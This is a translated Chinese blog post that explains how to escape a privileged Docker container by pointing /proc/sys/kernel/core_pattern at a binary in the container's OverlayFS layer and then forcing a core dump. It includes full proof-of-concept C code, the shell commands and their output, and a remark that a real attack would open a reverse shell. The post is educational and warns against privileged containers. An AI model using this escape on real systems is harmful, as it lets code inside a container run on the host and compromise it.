尽管这不是一个 "真正的 "漏洞,但逃出有特权的Docker容器还是相当有趣的。因为总有一些人会想出一些理由或借口来运行有特权的容器(尽管你真的不应该这样做),这在以后的某个时候可能真的会很有用。
由于最近发现了cgroup_release_agent
逃逸技巧 (CVE-2022-0492),我去搜索了对call_usermodehelper_*父类的调用,并试图确定哪些可能在容器环境中被轻易访问到。
在我们看一下结果之前,有必要了解下什么是call_usermodehelper。call_usermodehelper本质上是在usermode下运行的一个程序,这对安全研究人员来说是一个很方便的功能。
经过简短的 grep ,我发现内核的 coredump 处理代码时会调用这个特定的函数。在下面可以看到代码示例。
for (argi = 0; argi < argc; argi++)
helper_argv[argi] = cn.corename + argv[argi];
helper_argv[argi] = NULL;
retval = -ENOMEM;
sub_info = call_usermodehelper_setup(helper_argv[0],
helper_argv, NULL, GFP_KERNEL,
umh_pipe_setup, NULL, &cprm);
if (sub_info)
retval = call_usermodehelper_exec(sub_info,
UMH_WAIT_EXEC);
kfree(helper_argv);
然后我想到,这应该是一个很好的利用目标。更重要的是,没有什么可以阻止我们在容器中执行coredump(apport/systemd-coredump 等技术是未来某个时候值得研究的有趣目标)
剩下要做的就是弄清楚这段代码是如何被访问的。幸运的是,man 5 core
快速揭示了它是如何工作的!
来自手册:从内核 2.6.19 开始,Linux 支持 /proc/sys/kernel/core_pattern 文件的替代语法。如果此文件的第一个字符是管道符号 (|),则该行的其余部分被解释为要执行的用户空间程序(或脚本)的命令行。
在大多数情况下,如果我们能够成功地将我们的“恶意”程序编写到以管道为前缀的/proc/sys/kernel/core_pattern
中,那么内核将在我们的容器之外执行我们的程序。
这样做的先决条件之一是我们的二进制文件可以在主机操作系统上访问。幸运的是,在主机操作系统上也可以访问 OverlayFS(Docker 的文件系统)正在挂载的文件夹。通过在容器中执行挂载命令,我们可以确定文件系统的位置。让我们来看看结果。
root@80f74c2d80e5:/# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/VNLJAHVXND5S423TW3TWVSKI7G:/var/lib/docker/overlay2/l/HMQWWMKA2U45KTCTUVDFHWCHQ2,upperdir=/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/diff,workdir=/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64)
/dev/md2 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/md2 on /etc/hostname type ext4 (rw,relatime)
/dev/md2 on /etc/hosts type ext4 (rw,relatime)
devpts on /dev/console type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
看一下第一行,会看到'diff'层是/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/diff
,这实际上是这个目录在主机上的位置。
我们可以通过在容器上的一个文件中写入一些东西来验证,这样我们就可以在主机上使用 find 命令来定位容器上的文件:
# 修改容器中的文件
root@80f74c2d80e5:/# echo "hi host" > bladiebladiebla.txt
# 在主机中寻找该文件
$ find / -name "bladiebladiebla.txt"
/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/diff/bladiebladiebla.txt
/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/merged/bladiebladiebla.txt
# 查看该文件
$ cat /var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/diff/bladiebladiebla.txt
hi host
现在,我最初的计划是在容器中创建一个二进制文件,并且我们已经弄清楚了它将被放置在相关主机上的哪个位置。之后,我们需要将其设为/proc/sys/kernel/core_pattern
中的命令,然后通过生成 coredump 来触发它!
让我们通过创建一个非常小的 C 程序来测试这一点,该程序将向/tmp/hacked
写入一些东西
#include <stdio.h>
int main(void)
{
FILE *fp;
fp = fopen("/tmp/hacked", "w");
fprintf(fp, "Hello from the container!\n");
fclose(fp);
return 0;
}
让我们将此文件写入系统并测试它是否按预期执行。
# write poc to system
root@80f74c2d80e5:/# vim poc.c
# compile it
root@80f74c2d80e5:/# gcc -o poc poc.c
# figure out the location from the diff variable
root@80f74c2d80e5:/# mount | head -n 1
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/VNLJAHVXND5S423TW3TWVSKI7G:/var/lib/docker/overlay2/l/HMQWWMKA2U45KTCTUVDFHWCHQ2,upperdir=/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/diff,workdir=/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/work)
# actually set the program to be executed on coredumps to our program on the host
root@80f74c2d80e5:/# echo "|/var/lib/docker/overlay2/c6c17d65527df160607559e9700ac930b50fe3271402c0adf30a9d96cef21680/diff/poc" > /proc/sys/kernel/core_pattern
剩下要做的就是触发一个coredump,可以采用多种方法,但我通常只写一些明显异常的C程序(让我们假装这就是我打算做的)。
// pretty sure this crashes :)
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
让我们将它写入系统,编译并触发它!
# write the file to the system
root@80f74c2d80e5:/# vim crash.c
# compile the binary
root@80f74c2d80e5:/# gcc -o crash crash.c
# crash all the things!
root@80f74c2d80e5:/# ./crash
*** stack smashing detected ***: terminated
Aborted (core dumped)
现在,如果我们查看/tmp/hacked
主机上的文件,您会发现它包含了我们的内容!
$ cat /tmp/hacked
Hello from the container!
现在,在现实世界的场景中,您可能想要反弹shell 或者类似的东西,而不是简单地写入/tmp/hacked
. 这只是解释这个概念的一个例子。请记住,不应该运行有特权的容器。
干杯!
本文为翻译文章,原文链接:https://pwning.systems/posts/escaping-containers-for-fun/